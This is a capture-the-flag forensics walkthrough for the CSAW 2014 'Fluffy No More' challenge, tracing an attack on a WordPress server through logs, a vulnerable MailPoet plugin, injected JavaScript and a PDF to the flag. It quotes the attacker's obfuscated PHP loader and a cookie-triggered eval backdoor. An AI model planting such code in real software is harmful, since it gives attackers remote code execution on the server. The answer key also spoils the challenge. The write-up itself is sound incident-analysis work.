Fork me on GitHub

CSAW 2014 - Fluffy No More

Fluffy No More was a Forensics 300 point challenge at CSAW 2014. The backstory seemed kind of funny and I thought I'd give it a shot!



The attached tarball contained a few additional tarballs:

  • Full /etc directory contents
  • Full /var/log directory contents
  • Full /var/www directory contents
  • A MySQL database dump file

The task was to determine the attacker's ingress point as well as discover a key for the CTF challenge. I cover both points in the sections below.

Tracking the attacker

The first step was to take a look at what was provided for analysis. Loading up the SQL dump revealed a Wordpress installation (Figure 1). Extracting the archives also revealed that the server in question was running an installation of Wordpress. A quick edit to my hosts file and my Apache site configs and I had a working Wordpress blog which I could examine (Figure 2). Before touching anything else I did a quick check to see if any of the files in the wordpress installation had different modified times but nothing unusual came up.



Since I had access to the Wordpress database, I pulled the admin hash and fired up hashcat to see if the password could have been easily compromised by a targeted bruteforce attack. Sure enough, the password quickly came back:


Given that the site is dedicated to a fluffy bunny obsession, I'd say that the admin password could have easily been compromised. I took note of this, logged into the site's admin section and continued.

The only installed and active plugin on the blog was the MailPoet Newsletter plugin. A minute's worth of research revealed that this plugin was vulnerable to unchecked file uploads. A great little dive into the vulnerability can be found here. I was able to confirm that this vulnerability was exploited on the blog by finding the tell-tale signature of the exploit in the Apache access logs:

log/apache2 ยป grep -i "POST /wp-admin/admin-post.php?page=wysija_campaigns" access.log - - [16/Sep/2014:20:42:54 +0000] "POST /wp-admin/admin-post.php?page=wysija_campaigns&action=themes HTTP/1.1" 302 385 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

Knowing this, I followed the vulnerability to a malicious file upload in the MailPoet Newsletter uploads directory (Figure 3). The PHP file in that directory looked extremely suspicious, as the attacker made an attempt to obfuscate the code. I decoded the script and was able to get a better idea of what the code was supposed to do.


$hije = str_replace("ey","","seyteyrey_reyeeypleyaeyceye");
$vyoh = $hije("n", "", "nbnansne64n_ndnecode");
$bpzy = $hije("z","","zczreaztzez_zfzuznzcztzizon");
$xhju = $bpzy('', $vyoh($hije("sq", "", $andp.$pvqw.$wfrm.$rhhm))); $xhju();

function test() {
    if(reset($_COOKIE) == 'ha' && count($_COOKIE) > 3) {
        $pattern = array('/[^\\w=\\s]/','/\\s/');
        $replacement = array('','+');
        $subject = join(array_slice($_COOKIE,count($_COOKIE)-3));

        $data = preg_replace($pattern, $replacement, $subject);

        $decoded = base64_decode($data);

        echo '';
        echo eval($decoded);
        echo '';

I spent the next few hours banging my head against my desk searching high and low for any code or log files which would allow me to drop a cookie into this method and spit out a key, but nothing came out of this analysis. At this point I was satisfied that this was where the attacker gained access to the server, so I turned my attention to reading what information could be gathered by examining log files in /var/log.

Finding the key

After a short break I decided to see what I could find in the logs that I could correlate to IP addresses of the visitors that made comments on the blog posts. This then led me to /var/log/auth.log, where I noted that a matching IP address from a commentor was found to be failing SSH authentication. What I found next in auth.log was pretty interesting. There were several logged actions by a sudoer which did some system cleanup on the contents of /var/www, likely made by the challenge creators to mask things like modified timestamps. What stood out was this line in particular:

Sep 17 19:20:09 ubuntu sudo: ubuntu : TTY=pts/0 ; PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ; COMMAND=/usr/bin/vi /var/www/html/wp-content/themes/twentythirteen/js/html5.js

Someone had manually edited this script in particular! Opening this javascript file revealed some extraneous code (Figure 4) at the bottom of the script (after running the script through a beautifier, of course). I was particularly careful to not actually execute the document.write call at the end for fear of something funky happening, so I opted to console.log the result, shown below.


<script src="">

Examining analytics.js revealed a massive javascript file, which I also had to run through a code beautifier to make any sense of (Figure 5). Most of it looked like junk except for a small section with hex strings. This of course was curious, so I decrypted it (Figure 6). analytics.js opened up yet another link, this time to a PDF file, announcement.pdf. I pulled down the PDF and safely opened it in a separate VM, revealing a pretty funny image (Figure 7).




I originally thought this PDF was another red herring considering the image in the PDF, but I persisted and fired up pdf-parser and got into the internals of the PDF file (Figure 8). Admittedly I am still learning PDF forensics, but I followed a screencast from the author's site and had a look around the objects in the PDF. There were two objects in the PDF which indicated that they contained streams. I thought this was worth checking out, and following the guide from the pdf-parser author, I was able to decode one of these objects, revealing embedded Javascript code (Figure 9)!



At this point, I fired up a Python REPL and decoded the hex string found in the PDF object, revealing the key in the decoded string (Figure 10)!!


Key: flag{Those Fluffy Bunnies Make Tummy Bumpy}

Thanks for reading, I hope you all enjoyed this walkthrough!